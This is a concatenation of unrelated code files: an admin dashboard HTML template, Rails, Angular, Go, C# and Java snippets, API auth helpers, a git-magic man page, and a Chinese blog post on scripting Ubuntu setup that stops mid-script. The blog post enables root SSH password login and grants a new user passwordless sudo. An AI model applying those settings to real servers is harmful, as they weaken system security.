<!-- Menu Footer--> <li class="user-footer"> <div class="pull-left"> <a href="#" class="btn btn-default btn-flat">Profile</a> </div> <div class="pull-right"> <a href="#" class="btn btn-default btn-flat">Sign out</a> </div> </li> </ul> </li> <!-- Control Sidebar Toggle Button --> <li> <a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a> </li> </ul> </div> </nav> </header> <!-- =============================================== --> <!-- Left side column. contains the sidebar --> <aside class="main-sidebar"> <!-- sidebar: style can be found in sidebar.less --> <section class="sidebar"> <!-- Sidebar user panel --> <div class="user-panel"> <div class="pull-left image"> <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image"> </div> <div class="pull-left info"> <p>Alexander Pierce</p> <a href="#"><i class="fa fa-circle text-success"></i> Online</a> </div> </div> <!-- search form --> <form action="#" method="get" class="sidebar-form"> <div class="input-group"> <input type="text" name="q" class="form-control" placeholder="Search..."> <span class="input-group-btn"> <button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i> </button> </span> </div> </form> <!-- /.search form --> <!-- sidebar menu: : style can be found in sidebar.less --> <ul class="sidebar-menu"> <li class="header">MAIN NAVIGATION</li> <li class="treeview"> <a href="#"> <i class="fa fa-dashboard"></i> <span>Dashboard</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../../index1.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li> <li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li> </ul> </li> <li class="treeview active"> <a href="#"> <i class="fa fa-files-o"></i> <span>Layout Options</span> <span class="pull-right-container"> <span class="label label-primary pull-right">4</span> </span> </a> <ul class="treeview-menu"> <li><a href="../layout/top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li> <li><a href="../layout/boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li> <li class="active"><a href="../layout/fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li> <li><a href="collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li> </ul> </li> <li> <a href="../widgets.html"> <i class="fa fa-th"></i> <span>Widgets</span> <span class="pull-right-container"> <small class="label pull-right bg-green">new</small> </span> </a> </li> <li class="treeview"> <a href="#"> <i class="fa fa-pie-chart"></i> <span>Charts</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../charts/chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li> <li><a href="../charts/morris.html"><i class="fa fa-circle-o"></i> Morris</a></li> <li><a href="../charts/flot.html"><i class="fa fa-circle-o"></i> Flot</a></li> <li><a href="../charts/inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li> </ul> </li> <li class="treeview"> <a href="#"> <i class="fa fa-laptop"></i> <span>UI Elements</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li> <li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li> <li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li> <li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li> <li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li> <li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li> </ul> </li> <li class="treeview"> <a href="#"> <i class="fa fa-edit"></i> <span>Forms</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../forms/general.html"><i class="fa fa-circle-o"></i> General Elements</a></li> <li><a href="../forms/advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li> <li><a href="../forms/editors.html"><i class="fa fa-circle-o"></i> Editors</a></li> </ul> </li> <li class="treeview"> <a href="#"> <i class="fa fa-table"></i> <span>Tables</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../tables/simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li> <li><a href="../tables/data.html"><i class="fa fa-circle-o"></i> Data tables</a></li> </ul> </li> <li> <a href="../calendar.html"> <i class="fa fa-calendar"></i> <span>Calendar</span> <span class="pull-right-container"> <small class="label pull-right bg-red">3</small> <small class="label pull-right bg-blue">17</small> </span> </a> </li> <li> <a href="../mailbox/mailbox.html"> <i class="fa fa-envelope"></i> <span>Mailbox</span> <span class="pull-right-container"> <small class="label pull-right bg-yellow">12</small> <small class="label pull-right bg-green">16</small> <small class="label pull-right bg-red">5</small> </span> </a> </li> <li class="treeview"> <a href="#"> <i class="fa fa-folder"></i> <span>Examples</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li> <li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li> <li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li> <li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li> <li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li> <li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li> <li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li> <li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li> <li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li> </ul> </li> <li class="treeview"> <a href="#"> <i class="fa fa-share"></i> <span>Multilevel</span> <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li> <li> <a href="#"><i class="fa fa-circle-o"></i> Level One <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li> <li> <a href="#"><i class="fa fa-circle-o"></i> Level Two <span class="pull-right-container"> <i class="fa fa-angle-left pull-right"></i> </span> </a> <ul class="treeview-menu"> <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li> <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li> </ul> </li> </ul> </li> <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li> </ul> </li> <li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li> <li class="header">LABELS</li> <li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li> <li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li> <li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li> </ul> </section> <!-- /.sidebar --> </aside> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Fixed Layout <small>Blank example to the fixed layout</small> </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Layout</a></li> <li class="active">Fixed</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>Add the fixed class to the body tag to get this layout. The fixed layout is your best option if your sidebar is bigger than your content because it prevents extra unwanted scrolling.</p> </div> <!-- Default box --> <div class="box"> <div class="box-header with-border"> <h3 class="box-title">Title</h3> <div class="box-tools pull-right"> <button type="button" class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Collapse"> <i class="fa fa-minus"></i></button> <button type="button" class="btn btn-box-tool" data-widget="remove" data-toggle="tooltip" title="Remove"> <i class="fa fa-times"></i></button> </div> </div> <div class="box-body"> Start creating your amazing application! </div> <!-- /.box-body --> <div class="box-footer"> Footer </div> <!-- /.box-footer--> </div> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <footer class="main-footer"> <div class="pull-right hidden-xs"> <b>Version</b> 2.3.8 </div> <strong>Copyright &copy; 2014-2016 <a href="http://almsaeedstudio.com">Almsaeed Studio</a>.</strong> All rights reserved. </footer> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Create the tabs --> <ul class="nav nav-tabs nav-justified control-sidebar-tabs"> <li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li> <li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li> </ul> <!-- Tab panes --> <div class="tab-content"> <!-- Home tab content --> <div class="tab-pane" id="control-sidebar-home-tab"> <h3 class="control-sidebar-heading">Recent Activity</h3> <ul class="control-sidebar-menu"> <li> <a href="javascript:void(0)"> <i class="menu-icon fa fa-birthday-cake bg-red"></i> <div class="menu-info"> <h4 class="control-sidebar-subheading">Langdon's Birthday</h4> <p>Will be 23 on April 24th</p> </div> </a> </li> <li> <a href="javascript:void(0)"> <i class="menu-icon fa fa-user bg-yellow"></i> <div class="menu-info"> <h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4> <p>New phone +1(800)555-1234</p> </div> </a> </li> <li> <a href="javascript:void(0)"> <i class="menu-icon fa fa-envelope-o bg-light-blue"></i> <div class="menu-info"> <h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4> <p>nora@example.com</p> </div> </a> </li> <li> <a href="javascript:void(0)"> <i class="menu-icon fa fa-file-code-o bg-green"></i> <div class="menu-info"> <h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4> <p>Execution time 5 seconds</p> </div> </a> </li> </ul> <!-- /.control-sidebar-menu --> <h3 class="control-sidebar-heading">Tasks Progress</h3> <ul class="control-sidebar-menu"> <li> <a href="javascript:void(0)"> <h4 class="control-sidebar-subheading"> Custom Template Design <span class="label label-danger pull-right">70%</span> </h4> <div class="progress progress-xxs"> <div class="progress-bar progress-bar-danger" style="width: 70%"></div> </div> </a> </li> <li> <a href="javascript:void(0)"> <h4 class="control-sidebar-subheading"> Update Resume <span class="label label-success pull-right">95%</span> </h4> <div class="progress progress-xxs"> <div class="progress-bar progress-bar-success" style="width: 95%"></div> </div> </a> </li> <li> <a href="javascript:void(0)"> <h4 class="control-sidebar-subheading"> Laravel Integration <span class="label label-warning pull-right">50%</span> </h4> <div class="progress progress-xxs"> <div class="progress-bar progress-bar-warning" style="width: 50%"></div> </div> </a> </li> <li> <a href="javascript:void(0)"> <h4 class="control-sidebar-subheading"> Back End Framework <span class="label label-primary pull-right">68%</span> </h4> <div class="progress progress-xxs"> <div class="progress-bar progress-bar-primary" style="width: 68%"></div> </div> </a> </li> </ul> <!-- /.control-sidebar-menu --> </div> <!-- /.tab-pane --> <!-- Stats tab content --> <div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div> <!-- /.tab-pane --> <!-- Settings tab content --> <div class="tab-pane" id="control-sidebar-settings-tab"> <form method="post"> <h3 class="control-sidebar-heading">General Settings</h3> <div class="form-group"> <label class="control-sidebar-subheading"> Report panel usage <input type="checkbox" class="pull-right" checked> </label> <p> Some information about this general settings option </p> </div> <!-- /.form-group --> <div class="form-group"> <label class="control-sidebar-subheading"> Allow mail redirect <input type="checkbox" class="pull-right" checked> </label> <p> Other sets of options are available </p> </div> <!-- /.form-group --> <div class="form-group"> <label class="control-sidebar-subheading"> Expose author name in posts <input type="checkbox" class="pull-right" checked> </label> <p> Allow the user to show his name in blog posts </p> </div> <!-- /.form-group --> <h3 class="control-sidebar-heading">Chat Settings</h3> <div class="form-group"> <label class="control-sidebar-subheading"> Show me as online <input type="checkbox" class="pull-right" checked> </label> </div> <!-- /.form-group --> <div class="form-group"> <label class="control-sidebar-subheading"> Turn off notifications <input type="checkbox" class="pull-right"> </label> </div> <!-- /.form-group --> <div class="form-group"> <label class="control-sidebar-subheading"> Delete chat history <a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a> </label> </div> <!-- /.form-group --> </form> </div> <!-- /.tab-pane --> </div> </aside> <!-- /.control-sidebar --> <!-- Add the sidebar's background. This div must be placed immediately after the control sidebar --> <div class="control-sidebar-bg"></div> </div> <!-- ./wrapper --> <!-- jQuery 2.2.3 --> <script src="../../plugins/jQuery/jquery-2.2.3.min.js"></script> <!-- Bootstrap 3.3.6 --> <script src="../../bootstrap/js/bootstrap.min.js"></script> <!-- SlimScroll --> <script src="../../plugins/slimScroll/jquery.slimscroll.min.js"></script> <!-- FastClick --> <script src="../../plugins/fastclick/fastclick.js"></script> <!-- AdminLTE App --> <script src="../../dist/js/app.min.js"></script> <!-- AdminLTE for demo purposes --> <script src="../../dist/js/demo.js"></script> </body> </html>
module ActiveRecord module Associations class BelongsToPolymorphicAssociation < AssociationProxy #:nodoc: def replace(record) if record.nil? @target = @owner[@reflection.primary_key_name] = @owner[@reflection.options[:foreign_type]] = nil else @target = (AssociationProxy === record ? record.target : record) unless record.new_record? @owner[@reflection.primary_key_name] = record.id @owner[@reflection.options[:foreign_type]] = ActiveRecord::Base.send(:class_name_of_active_record_descendant, record.class).to_s end @updated = true end loaded record end def updated? @updated end private def find_target return nil if association_class.nil? if @reflection.options[:conditions] association_class.find( @owner[@reflection.primary_key_name], :conditions => interpolate_sql(@reflection.options[:conditions]), :include => @reflection.options[:include] ) else association_class.find(@owner[@reflection.primary_key_name], :include => @reflection.options[:include]) end end def foreign_key_present !@owner[@reflection.primary_key_name].nil? end def association_class @owner[@reflection.options[:foreign_type]] ? @owner[@reflection.options[:foreign_type]].constantize : nil end end end end
;(function() { 'use strict'; var listOfProgrammingLanguages = { restrict: 'E', templateUrl: '/directives/tpl/cd-programming-languages-list', bindings: { programmingLanguages: '<' }, controller: ['cdProgrammingLanguagesService', function (cdProgrammingLanguagesService) { var ctrl = this; cdProgrammingLanguagesService.get().then(function (data) { var programmingLanguagesJSON = data.data; _.each(ctrl.programmingLanguages, function (language, index) { var lLanguage = _.find(programmingLanguagesJSON, {text: language.text}); if (!_.isUndefined(lLanguage)) { ctrl.programmingLanguages[index].picture = lLanguage.image; ctrl.programmingLanguages[index].caption = lLanguage.text; ctrl.programmingLanguages[index].href = lLanguage.href; } }); }); }] }; angular .module('cpZenPlatform') .component('programmingLanguagesList', listOfProgrammingLanguages); }());
function getDisplayName(WrappedComponent) { return WrappedComponent.displayName || WrappedComponent.name || "Component"; } export default getDisplayName;
module API module APIHelpers PRIVATE_TOKEN_HEADER = "HTTP_PRIVATE_TOKEN" PRIVATE_TOKEN_PARAM = :private_token SUDO_HEADER ="HTTP_SUDO" SUDO_PARAM = :sudo def current_user private_token = (params[PRIVATE_TOKEN_PARAM] || env[PRIVATE_TOKEN_HEADER]).to_s @current_user ||= User.find_by(authentication_token: private_token) identifier = sudo_identifier() # If the sudo is the current user do nothing if (identifier && !(@current_user.id == identifier || @current_user.username == identifier)) render_api_error!('403 Forbidden: Must be admin to use sudo', 403) unless @current_user.is_admin? @current_user = User.by_username_or_id(identifier) not_found!("No user id or username for: #{identifier}") if @current_user.nil? end @current_user end def sudo_identifier() identifier ||= params[SUDO_PARAM] ||= env[SUDO_HEADER] # Regex for integers if (!!(identifier =~ /^[0-9]+$/)) identifier.to_i else identifier end end def set_current_user_for_thread Thread.current[:current_user] = current_user begin yield ensure Thread.current[:current_user] = nil end end def user_project @project ||= find_project(params[:id]) @project || not_found! end def find_project(id) project = Project.find_with_namespace(id) || Project.find_by(id: id) if project && can?(current_user, :read_project, project) project else nil end end def paginate(object) object.page(params[:page]).per(params[:per_page].to_i) end def authenticate! unauthorized! unless current_user end def authenticated_as_admin! forbidden! unless current_user.is_admin? end def authorize! action, subject unless abilities.allowed?(current_user, action, subject) forbidden! end end def authorize_admin_project authorize! :admin_project, user_project end def can?(object, action, subject) abilities.allowed?(object, action, subject) end # Checks the occurrences of required attributes, each attribute must be present in the params hash # or a Bad Request error is invoked. # # Parameters: # keys (required) - A hash consisting of keys that must be present def required_attributes!(keys) keys.each do |key| bad_request!(key) unless params[key].present? end end def attributes_for_keys(keys) attrs = {} keys.each do |key| attrs[key] = params[key] if params[key].present? or (params.has_key?(key) and params[key] == false) end attrs end # error helpers def forbidden! render_api_error!('403 Forbidden', 403) end def bad_request!(attribute) message = ["400 (Bad request)"] message << "\"" + attribute.to_s + "\" not given" render_api_error!(message.join(' '), 400) end def not_found!(resource = nil) message = ["404"] message << resource if resource message << "Not Found" render_api_error!(message.join(' '), 404) end def unauthorized! render_api_error!('401 Unauthorized', 401) end def not_allowed! render_api_error!('Method Not Allowed', 405) end def render_api_error!(message, status) error!({'message' => message}, status) end private def abilities @abilities ||= begin abilities = Six.new abilities << Ability abilities end end end end
#if !UNITY_WINRT || UNITY_EDITOR || UNITY_WP8 #region License // Copyright (c) 2007 James Newton-King // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. #endregion using System; namespace Newtonsoft.Json { /// <summary> /// Instructs the <see cref="JsonSerializer"/> not to serialize the public field or public read/write property value. /// </summary> [AttributeUsage(AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = false)] public sealed class JsonIgnoreAttribute : Attribute { } } #endif
--- uid: SolidEdgeGeometry.Edge.GetParamExtents(System.Double@,System.Double@) summary: remarks: syntax: parameters: - id: MaxParam description: Returns the parameter associated with the end point of the curve. - id: MinParam description: Returns the parameter associated with the start point of the curve. example: [*content] --- [!code-vb[Main](..\snippets\SolidEdgeGeometry.Edge.GetParamExtents.vb] [!code-csharp[Main](..\snippets\SolidEdgeGeometry.Edge.GetParamExtents.cs]
// Copyright 2012-2015 Oliver Eilhard. All rights reserved. // Use of this source code is governed by a MIT-license. // See http://olivere.mit-license.org/license.txt for details. package elastic import ( "encoding/json" "fmt" "net/url" "github.com/devacto/grobot/Godeps/_workspace/src/gopkg.in/olivere/elastic.v2/uritemplates" ) // GetTemplateService reads a search template. // It is documented at http://www.elasticsearch.org/guide/en/elasticsearch/reference/master/search-template.html. type GetTemplateService struct { client *Client pretty bool id string version interface{} versionType string } // NewGetTemplateService creates a new GetTemplateService. func NewGetTemplateService(client *Client) *GetTemplateService { return &GetTemplateService{ client: client, } } // Id is the template ID. func (s *GetTemplateService) Id(id string) *GetTemplateService { s.id = id return s } // Version is an explicit version number for concurrency control. func (s *GetTemplateService) Version(version interface{}) *GetTemplateService { s.version = version return s } // VersionType is a specific version type. func (s *GetTemplateService) VersionType(versionType string) *GetTemplateService { s.versionType = versionType return s } // buildURL builds the URL for the operation. func (s *GetTemplateService) buildURL() (string, url.Values, error) { // Build URL path, err := uritemplates.Expand("/_search/template/{id}", map[string]string{ "id": s.id, }) if err != nil { return "", url.Values{}, err } // Add query string parameters params := url.Values{} if s.version != nil { params.Set("version", fmt.Sprintf("%v", s.version)) } if s.versionType != "" { params.Set("version_type", s.versionType) } return path, params, nil } // Validate checks if the operation is valid. func (s *GetTemplateService) Validate() error { var invalid []string if s.id == "" { invalid = append(invalid, "Id") } if len(invalid) > 0 { return fmt.Errorf("missing required fields: %v", invalid) } return nil } // Do executes the operation and returns the template. func (s *GetTemplateService) Do() (*GetTemplateResponse, error) { // Check pre-conditions if err := s.Validate(); err != nil { return nil, err } // Get URL for request path, params, err := s.buildURL() if err != nil { return nil, err } // Get HTTP response res, err := s.client.PerformRequest("GET", path, params, nil) if err != nil { return nil, err } // Return result ret := new(GetTemplateResponse) if err := json.Unmarshal(res.Body, ret); err != nil { return nil, err } return ret, nil } type GetTemplateResponse struct { Template string `json:"template"` }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace DlBot4 { class Helper{ public static void changeWindow(dynamic windowFrom, dynamic windowTo) { windowTo.Top = windowFrom.Top; windowTo.Left = windowFrom.Left; windowTo.Height = windowFrom.Height; windowTo.Width = windowFrom.Width; windowTo.Show(); windowFrom.Hide(); } } }
package pl.grzeslowski.jsupla.protocoljava.api.parsers.cs; import pl.grzeslowski.jsupla.protocol.api.structs.cs.SuplaChannelNewValueB; import pl.grzeslowski.jsupla.protocoljava.api.entities.cs.ChannelNewValueB; public interface ChannelNewValueBParser extends ClientServerParser<ChannelNewValueB, SuplaChannelNewValueB> { }
// Ember Extensions Ember.ArrayProxy.prototype.flatten = Array.prototype.flatten = function() { var r = []; this.forEach(function(el) { r.push.apply(r, Ember.isArray(el) ? el.flatten() : [el]); }); return r; }; // jQuery Additions jQuery.fn.exists = function() { return this.length > 0; };
<!DOCTYPE html> <html> <head> <meta http-equiv='content-type' value='text/html;charset=utf8'> <meta name='generator' value='Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)'> <title>git-magic(1) - Automate add/commit/push routines</title> <style type='text/css' media='all'> /* style: man */ body#manpage {margin:0} .mp {max-width:100ex;padding:0 9ex 1ex 4ex} .mp p,.mp pre,.mp ul,.mp ol,.mp dl {margin:0 0 20px 0} .mp h2 {margin:10px 0 0 0} .mp > p,.mp > pre,.mp > ul,.mp > ol,.mp > dl {margin-left:8ex} .mp h3 {margin:0 0 0 4ex} .mp dt {margin:0;clear:left} .mp dt.flush {float:left;width:8ex} .mp dd {margin:0 0 0 9ex} .mp h1,.mp h2,.mp h3,.mp h4 {clear:left} .mp pre {margin-bottom:20px} .mp pre+h2,.mp pre+h3 {margin-top:22px} .mp h2+pre,.mp h3+pre {margin-top:5px} .mp img {display:block;margin:auto} .mp h1.man-title {display:none} .mp,.mp code,.mp pre,.mp tt,.mp kbd,.mp samp,.mp h3,.mp h4 {font-family:monospace;font-size:14px;line-height:1.42857142857143} .mp h2 {font-size:16px;line-height:1.25} .mp h1 {font-size:20px;line-height:2} .mp {text-align:justify;background:#fff} .mp,.mp code,.mp pre,.mp pre code,.mp tt,.mp kbd,.mp samp {color:#131211} .mp h1,.mp h2,.mp h3,.mp h4 {color:#030201} .mp u {text-decoration:underline} .mp code,.mp strong,.mp b {font-weight:bold;color:#131211} .mp em,.mp var {font-style:italic;color:#232221;text-decoration:none} .mp a,.mp a:link,.mp a:hover,.mp a code,.mp a pre,.mp a tt,.mp a kbd,.mp a samp {color:#0000ff} .mp b.man-ref {font-weight:normal;color:#434241} .mp pre {padding:0 4ex} .mp pre code {font-weight:normal;color:#434241} .mp h2+pre,h3+pre {padding-left:0} ol.man-decor,ol.man-decor li {margin:3px 0 10px 0;padding:0;float:left;width:33%;list-style-type:none;text-transform:uppercase;color:#999;letter-spacing:1px} ol.man-decor {width:100%} ol.man-decor li.tl {text-align:left} ol.man-decor li.tc {text-align:center;letter-spacing:4px} ol.man-decor li.tr {text-align:right;float:right} </style> </head> <!-- The following styles are deprecated and will be removed at some point: div#man, div#man ol.man, div#man ol.head, div#man ol.man. The .man-page, .man-decor, .man-head, .man-foot, .man-title, and .man-navigation should be used instead. --> <body id='manpage'> <div class='mp' id='man'> <div class='man-navigation' style='display:none'> <a href="#NAME">NAME</a> <a href="#SYNOPSIS">SYNOPSIS</a> <a href="#DESCRIPTION">DESCRIPTION</a> <a href="#OPTIONS">OPTIONS</a> <a href="#EXAMPLES">EXAMPLES</a> <a href="#AUTHOR">AUTHOR</a> <a href="#REPORTING-BUGS">REPORTING BUGS</a> <a href="#SEE-ALSO">SEE ALSO</a> </div> <ol class='man-decor man-head man head'> <li class='tl'>git-magic(1)</li> <li class='tc'>Git Extras</li> <li class='tr'>git-magic(1)</li> </ol> <h2 id="NAME">NAME</h2> <p class="man-name"> <code>git-magic</code> - <span class="man-whatis">Automate add/commit/push routines</span> </p> <h2 id="SYNOPSIS">SYNOPSIS</h2> <p><code>git-magic</code> [-a] [-m <var>msg</var>] [-e] [-p] [-f]</p> <h2 id="DESCRIPTION">DESCRIPTION</h2> <p>Produces summary of changes for commit message from <code>git status --porcelain</code> output. Commits staged changes with the generated commit message and opens editor to modify generated commit message optionally. Also staging and pushing can be automated optinally.</p> <h2 id="OPTIONS">OPTIONS</h2> <p>-a</p> <p>Adds everything including untracked files.</p> <p>-m <var>msg</var></p> <p>Use the given <var>msg</var> as the commit message. If multiple -m options are given, their values are concatenated as separate paragraphs. Passed to git commit command. The generated is appended to user-given messages.</p> <p>-e</p> <p>This option lets you further edit the generated message. Passed to git commit command.</p> <p>-p</p> <p>Runs <code>git push</code> after commit.</p> <p>-f</p> <p>Adds <code>-f</code> option to <code>git push</code> command.</p> <p>-h</p> <p>Prints synopsis.</p> <h2 id="EXAMPLES">EXAMPLES</h2> <p>This example stages all changes then commits with automatic commit message.</p> <pre><code>$ git magic -a [feature/magic dc2a11e] A man/git-magic.md 1 file changed, 37 insertions(+) create mode 100644 man/git-auto.md # git log Author: overengineer &lt;54alpersaid@gmail.com&gt; Date: Thu Sep 30 20:14:22 2021 +0300 M man/git-magic.md </code></pre> <p><code>-m</code> option PREPENDS generated message.</p> <pre><code>$ git magic -am "Added documentation for git magic" [feature/magic dc2a11e] Added documentation for git magic 1 file changed, 42 insertions(+), 0 deletions(-) create mode 100644 A man/git-auto.md $ git log Author: overengineer &lt;54alpersaid@gmail.com&gt; Date: Thu Sep 30 20:14:22 2021 +0300 Added documentation for git magic M man/git-magic.md </code></pre> <h2 id="AUTHOR">AUTHOR</h2> <p>Written by Alper S. Soylu <a href="&#x6d;&#x61;&#105;&#x6c;&#x74;&#x6f;&#58;&#x35;&#x34;&#97;&#x6c;&#112;&#x65;&#114;&#115;&#x61;&#105;&#x64;&#x40;&#103;&#x6d;&#x61;&#x69;&#108;&#46;&#x63;&#x6f;&#x6d;" data-bare-link="true">&#x35;&#52;&#x61;&#108;&#x70;&#x65;&#x72;&#x73;&#97;&#105;&#100;&#64;&#103;&#109;&#97;&#105;&#108;&#46;&#x63;&#111;&#x6d;</a></p> <h2 id="REPORTING-BUGS">REPORTING BUGS</h2> <p>&lt;<a href="https://github.com/tj/git-extras/issues" data-bare-link="true">https://github.com/tj/git-extras/issues</a>&gt;</p> <h2 id="SEE-ALSO">SEE ALSO</h2> <p>&lt;<a href="https://github.com/tj/git-extras" data-bare-link="true">https://github.com/tj/git-extras</a>&gt;</p> <ol class='man-decor man-foot man foot'> <li class='tl'></li> <li class='tc'>October 2021</li> <li class='tr'>git-magic(1)</li> </ol> </div> </body> </html>
--- layout: post title: "自动配置Ubuntu开发环境" author: 詹子知(James Zhan) date: 2013-03-13 22:52:00 meta: 版权所有,转载须声明出处 category: linux tags: [linux, ubuntu, shell] --- ## 准备工作 ### 安装Ubuntu 如果是机器安装,首先你需要准备Ubuntu的安装光盘,按照引导一步一步安装即可。 如果只是用于个人学习,我建议使用虚拟机来安装Ubuntu,可以从[Linux镜像][linuxmirrors]去下载对应版本的镜像,国内我推荐从[网易开源镜像][ubuntu163]上去下载对应的镜像。接下来就可以在虚拟机上安装Ubuntu了。 ### 安装Ruby 既然是自动配置,就一定会用到脚本,这里选择的脚本语言是Ruby,因此我们需要首先安装Ruby。 #### Windows 下载[RubyIntaller][rubyinstaller],双击直接安装即可。 #### Ubuntu ```sh sudo apt-get install ruby ``` #### OS X 默认OS X已经自带了Ruby程序,如果没有特别的版本需求,一般不需要单独安装。 ### 检查环境并安装相关依赖 ```sh gem update ``` 如果无法更新,可能是GFW的问题,建议更换RubyGem源。 ```sh gem sources --remove https://rubygems.org/ gem sources -a https://ruby.taobao.org/ ``` 安装[SSHKit][sshkit],sshkit是[Capistrano][capistrano]的一个子项目,它对[Net::SSH][net-ssh]进行了封装。 > Capistrano是Ruby领域最热门的自动化部署工具。 ```sh gem install sshkit ``` ## 自动化部署 ### 设置root用户SSH登陆免输入密码 如果是第一次使用,需要先启用root用户,并配置密码。 登入到Ubuntu,为root用户新增一个密码。 ```sh sudo passwd root ``` 默认Ubuntu是不允许root用户使用密码SSH登陆,这个时候我们可以修改`/etc/ssh/sshd_config`,找到`PermitRootLogin`,把这一行改为如下代码即可。 ``` PermitRootLogin yes ``` 执行如下代码就可以使得本机root用户登陆Ubuntu不用输入密码。 ```sh cat ~/.ssh/id_rsa.pub | ssh root@10.211.55.5 'cat >> ~/.ssh/authorized_keys' ``` 为了安全起见,在设置好root用户本机登陆Ubuntu免输入密码后,可以把`PermitRootLogin`改回原值。 ### 自动创建新用户并设置新apt源 ```ruby host = ARGV[0] user = ARGV[1] password = ARGV[2] on "root@#{host}", in: :sequence, wait: 5 do if test "[ -d /home/#{user} ]" puts "User #{user} is ready!" else execute "deluser #{user} --remove-all-files" puts "Not Found User #{user}, start setup user #{user}" execute "adduser --ingroup sudo --shell /bin/bash --disabled-password --gecos 'User for managing of deployment' --quiet --home /home/#{user} #{user}" execute "echo '#{user} ALL = (ALL) NOPASSWD: ALL' > /tmp/sudoer_#{user}" execute "mv /tmp/sudoer_#{user} /etc/sudoers.d/#{user}" execute "chown -R root:root /etc/sudoers.d/#{user}" if test "[ -d /home/#{user}/.ssh ]" puts 